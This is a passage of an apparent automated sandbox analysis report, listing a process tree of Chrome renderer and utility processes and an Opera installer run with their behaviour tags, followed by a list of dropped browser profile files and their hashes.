                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --metrics-shmem-handle=6260,i,11810228786027865114,1924836953336543093,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5604 /prefetch:1
                                                                                                                      2⤵
                                                                                                                        PID:5500
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --metrics-shmem-handle=5840,i,9682732201617602190,13581806449477385044,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6692 /prefetch:1
                                                                                                                        2⤵
                                                                                                                          PID:5700
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --metrics-shmem-handle=6672,i,544450540608124256,12743038053783017910,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=4684 /prefetch:1
                                                                                                                          2⤵
                                                                                                                            PID:3068
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --metrics-shmem-handle=6972,i,9902994399625782282,1400409122058994369,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6908 /prefetch:1
                                                                                                                            2⤵
                                                                                                                              PID:5616
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=7108,i,11578940890554401532,809941541468413934,524288 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6164 /prefetch:8
                                                                                                                              2⤵
                                                                                                                              • Modifies registry class
                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                              PID:2448
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6648,i,5205248178678089097,16664755380769895224,524288 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5196 /prefetch:8
                                                                                                                              2⤵
                                                                                                                                PID:4152
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --force-high-res-timeticks=disabled --metrics-shmem-handle=6704,i,10785325836511183069,360806017008113989,524288 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5608 /prefetch:8
                                                                                                                                2⤵
                                                                                                                                  PID:376
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --force-high-res-timeticks=disabled --metrics-shmem-handle=6236,i,7506232015153782735,14117399444139647726,524288 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5968 /prefetch:8
                                                                                                                                  2⤵
                                                                                                                                    PID:5260
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --metrics-shmem-handle=7252,i,8808226463563193689,18389747089712796367,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=7244 /prefetch:1
                                                                                                                                    2⤵
                                                                                                                                      PID:4884
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=7292,i,18254517586392711578,2448655701550896897,524288 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=4420 /prefetch:8
                                                                                                                                      2⤵
                                                                                                                                        PID:4116
                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --metrics-shmem-handle=6784,i,13072263805246735127,12443431855366760610,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5404 /prefetch:1
                                                                                                                                        2⤵
                                                                                                                                          PID:2032
                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --metrics-shmem-handle=6948,i,9460637543270838205,6012723508541736999,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=4576 /prefetch:1
                                                                                                                                          2⤵
                                                                                                                                            PID:1568
                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --metrics-shmem-handle=5544,i,3943275068169042377,12708887637774103516,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=7460 /prefetch:1
                                                                                                                                            2⤵
                                                                                                                                              PID:4232
                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --metrics-shmem-handle=5340,i,5137671540746981329,4375440214814741453,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=7312 /prefetch:1
                                                                                                                                              2⤵
                                                                                                                                                PID:5148
                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --metrics-shmem-handle=5932,i,9167288287425670520,10172825731736326501,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=7552 /prefetch:1
                                                                                                                                                2⤵
                                                                                                                                                  PID:6100
                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --metrics-shmem-handle=7724,i,1733700660019182020,16131944592041844604,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5504 /prefetch:1
                                                                                                                                                  2⤵
                                                                                                                                                    PID:5044
                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3656,i,6131849280471599445,10469472225071724565,524288 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5404 /prefetch:8
                                                                                                                                                    2⤵
                                                                                                                                                    • Modifies registry class
                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                    PID:4236
                                                                                                                                                  • C:\Users\Admin\Downloads\OperaSetup.exe
                                                                                                                                                    "C:\Users\Admin\Downloads\OperaSetup.exe"
                                                                                                                                                    2⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    PID:2456
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS89914A3F\installer.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS89914A3F\installer.exe --server-tracking-blob=MjJiZTNmZjJkZDFjOWE1YWEyMTE5ZDRhNjBlYjc4YTMwMzA4MmFmZjBlZDg1NDA2ZGVmNWM0NmUzYzJlMDM1Njp7ImNvdW50cnkiOiJHQiIsImZhc3Rfb25ib2FyZGluZyI6e30sImh0dHBfcmVmZXJyZXIiOiJodHRwczovL2luc2VjdGhvbmV5Lnh5ei8iLCJpbnN0YWxsZXJfbmFtZSI6Ik9wZXJhU2V0dXAuZXhlIiwicHJvZHVjdCI6Im9wZXJhIiwicXVlcnkiOiIvb3BlcmEvc3RhYmxlL3dpbmRvd3M/dXRtX3NvdXJjZT1lbWVyZXJvJnV0bV9tZWRpdW09cGQmdXRtX2NhbXBhaWduPW1iJnV0bV9jb250ZW50PTEyMzQ5MTkmdXRtX2lkPUVNN2U1MmI0MjFlMWUyMjJjOWM3MDMyOTdmZjc5MjI0NThiM2xwIiwidGltZXN0YW1wIjoiMTc3NTkwNDI2Mi4wNDUyIiwidXNlcmFnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE0MC4wLjAuMCBTYWZhcmkvNTM3LjM2IiwidXRtIjp7ImNhbXBhaWduIjoibWIiLCJjb250ZW50IjoiMTIzNDkxOSIsImlkIjoiRU03ZTUyYjQyMWUxZTIyMmM5YzcwMzI5N2ZmNzkyMjQ1OGIzbHAiLCJtZWRpdW0iOiJwZCIsInNvdXJjZSI6ImVtZXJlcm8ifSwidXVpZCI6IjA2Njg4ZTlmLTI1ZjEtNDhmMy05YmE5LWFjYjMwOTQ4ZDRmOCJ9
                                                                                                                                                      3⤵
                                                                                                                                                      • Downloads MZ/PE file
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      • Enumerates connected drives
                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                      PID:2120
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS89914A3F\installer.exe
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zS89914A3F\installer.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktop --annotation=ver=130.0.5847.12 --initial-client-data=0x294,0x298,0x29c,0x270,0x2a0,0x7ff79691b6d8,0x7ff79691b6e4,0x7ff79691b6f0
                                                                                                                                                        4⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        PID:4028
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\.opera\27878b51-4cdc-4087-a124-f5d56a7647f0 Opera Installer Temp\installer.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\.opera\27878b51-4cdc-4087-a124-f5d56a7647f0 Opera Installer Temp\installer.exe" --version
                                                                                                                                                        4⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        PID:1192
                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --metrics-shmem-handle=5732,i,13216418706032863335,12435714360002449735,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6992 /prefetch:1
                                                                                                                                                    2⤵
                                                                                                                                                      PID:3500
                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --metrics-shmem-handle=5724,i,14271820302147993131,1436801034367186148,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5592 /prefetch:1
                                                                                                                                                      2⤵
                                                                                                                                                        PID:5276
                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --metrics-shmem-handle=6652,i,10446491538726178837,8995481922156646263,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=5616 /prefetch:1
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1836
                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --metrics-shmem-handle=7500,i,10722309930891393615,15902315999339059870,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=4508 /prefetch:1
                                                                                                                                                          2⤵
                                                                                                                                                            PID:568
                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --metrics-shmem-handle=5988,i,16215656573555197812,16512931410707106293,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=7136 /prefetch:1
                                                                                                                                                            2⤵
                                                                                                                                                              PID:5024
                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --metrics-shmem-handle=6448,i,16102085648909498630,4777741269930000762,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6528 /prefetch:1
                                                                                                                                                              2⤵
                                                                                                                                                                PID:3632
                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --metrics-shmem-handle=5752,i,11174964007446008022,17399282678158724016,2097152 --field-trial-handle=1968,i,12223828958373300545,10980460159915858982,262144 --variations-seed-version=20260410-170036.536000-production --mojo-platform-channel-handle=6260 /prefetch:1
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:2368
                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:424
                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:816

                                                                                                                                                                  Network

                                                                                                                                                                        MITRE ATT&CK Enterprise v16

                                                                                                                                                                        Replay Monitor

                                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                                        Downloads

                                                                                                                                                                        settings.dat
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
                                                                                                                                                                        • Size 40B
                                                                                                                                                                        • SHA256 d8aa876fa8a090708b96454780d94b16882be01dad2868d25e0f5b81c6fc3c8a
                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                        Submit Download

                                                                                                                                                                        BookmarkMergedSurfaceOrdering
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                                                                                                                                                                        • Size 6B
                                                                                                                                                                        • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                        Submit Download

                                                                                                                                                                        BrowsingTopicsState
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                                                                                                                                                        • Size 414B
                                                                                                                                                                        • SHA256 89465df130e16f5ce39e3c6ef6e85266ee618456ea59ce9b8acbe7823ad75500
                                                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        Network Persistent State
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                                                                                                                                        • Size 2KB
                                                                                                                                                                        • SHA256 5d3f38052140bec5c2049762e666c5477285976d6e2515c51a622ccae9fd0454
                                                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        Network Persistent State
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                                                                                                                                        • Size 2KB
                                                                                                                                                                        • SHA256 b6470d6fd89eb4f81da32e8a42cf948f08ba5cab3c5486935d42ee947d575597
                                                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        Network Persistent State
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                                                                                                                                        • Size 3KB
                                                                                                                                                                        • SHA256 72ce8b958c84c07a9b392ccc559a6cf7027aba27395ce2934883a34990b8d08f
                                                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        SCT Auditing Pending Reports
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                                                                                                        • Size 2B
                                                                                                                                                                        • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                        Submit Download

                                                                                                                                                                        TransportSecurity
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                                                                                                                                                                        • Size 523B
                                                                                                                                                                        • SHA256 610dbe3ac5f1d1a0f05399cfbe2b6dd3152814331716e95f694bc988171ba8f7
                                                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        Preferences
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                        • Size 12KB
                                                                                                                                                                        • SHA256 cd7945d3cc7f8640e806a1f2e3294a08512a1c894678ddf912619706a767e8a5
                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        Preferences
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                        • Size 12KB
                                                                                                                                                                        • SHA256 84ac0e7af853f7583f08138b9afe60fbcc2160a059fe4f682788d469a1c9243c
                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        Preferences
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                        • Size 12KB
                                                                                                                                                                        • SHA256 619ef457b5200a470484214cc0ac9f6682e704cbd7edb6e09abb3c8adb0ccb23
                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        Preferences
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                        • Size 12KB
                                                                                                                                                                        • SHA256 494a267e48c3b8bd8369bfc05ae2d375ed02ffd4a22f04cde447ab2b1b9b18d7
                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        Preferences
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                        • Size 13KB
                                                                                                                                                                        • SHA256 fa7da89216489d7951d1cbf7aaea9d89e171924d8b326b8a64f61fa5cf407262
                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        Preferences
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                        • Size 13KB
                                                                                                                                                                        • SHA256 b6e90cec25263b3085dcbc581c852e5597e50c56420515ffe69dccb1f37b44c5
                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        Secure Preferences
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                                                                                        • Size 20KB
                                                                                                                                                                        • SHA256 111e603d74646c0bb7e56665c5df4b19980342e97864b6275ee7fe5149a28fa0
                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        the-real-index
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                                                                                                                                                        • Size 120B
                                                                                                                                                                        • SHA256 3e1cb462b73117637b20b100e7b3a9e56cc603ccc09464c08cdf98b6f977d7b0
                                                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        the-real-index
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                                                                                                                                                        • Size 120B
                                                                                                                                                                        • SHA256 3ebf6ec9922f2189d5f32b52c6a65ece954b2251d5531640b60634b4178c0ac8
                                                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        the-real-index~RFe588160.TMP
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe588160.TMP
                                                                                                                                                                        • Size 96B
                                                                                                                                                                        • SHA256 617e1beb437c7d9e33975efbe02730da5e4d993b08909cc7b71456c20e113181
                                                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        e6cf1cd1-7003-40fc-b2b9-5b86bc89f289.tmp
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\e6cf1cd1-7003-40fc-b2b9-5b86bc89f289.tmp
                                                                                                                                                                        • Size 20KB
                                                                                                                                                                        • SHA256 a3f5e4d0cda6403bb53c6bde534d059e9f88fc0e328811de0cc84489d519b00c
                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        Local State
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                        • Size 194KB
                                                                                                                                                                        • SHA256 a1b1ae802799cb8acfcbc9f0d795188b59f513f7367b37dd518cd24fa6617241
                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        Local State
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                        • Size 109KB
                                                                                                                                                                        • SHA256 770e1f46ce041312689afe0490da564220bdd53f6a27bccd3c42c7f58d682093
                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        Local State
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                        • Size 109KB
                                                                                                                                                                        • SHA256 401b71eff104d576a416070e413b8d70393555280e30a89f3bf0be90623c733e
                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        Local State
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                        • Size 110KB
                                                                                                                                                                        • SHA256 c78040cace3b29ae9b737a318e7f3670b20762bdd5f7b684ac8588e3b499ee17
                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                        Submit Download

                                                                                                                                                                        Local State
                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                        • Size 89KB
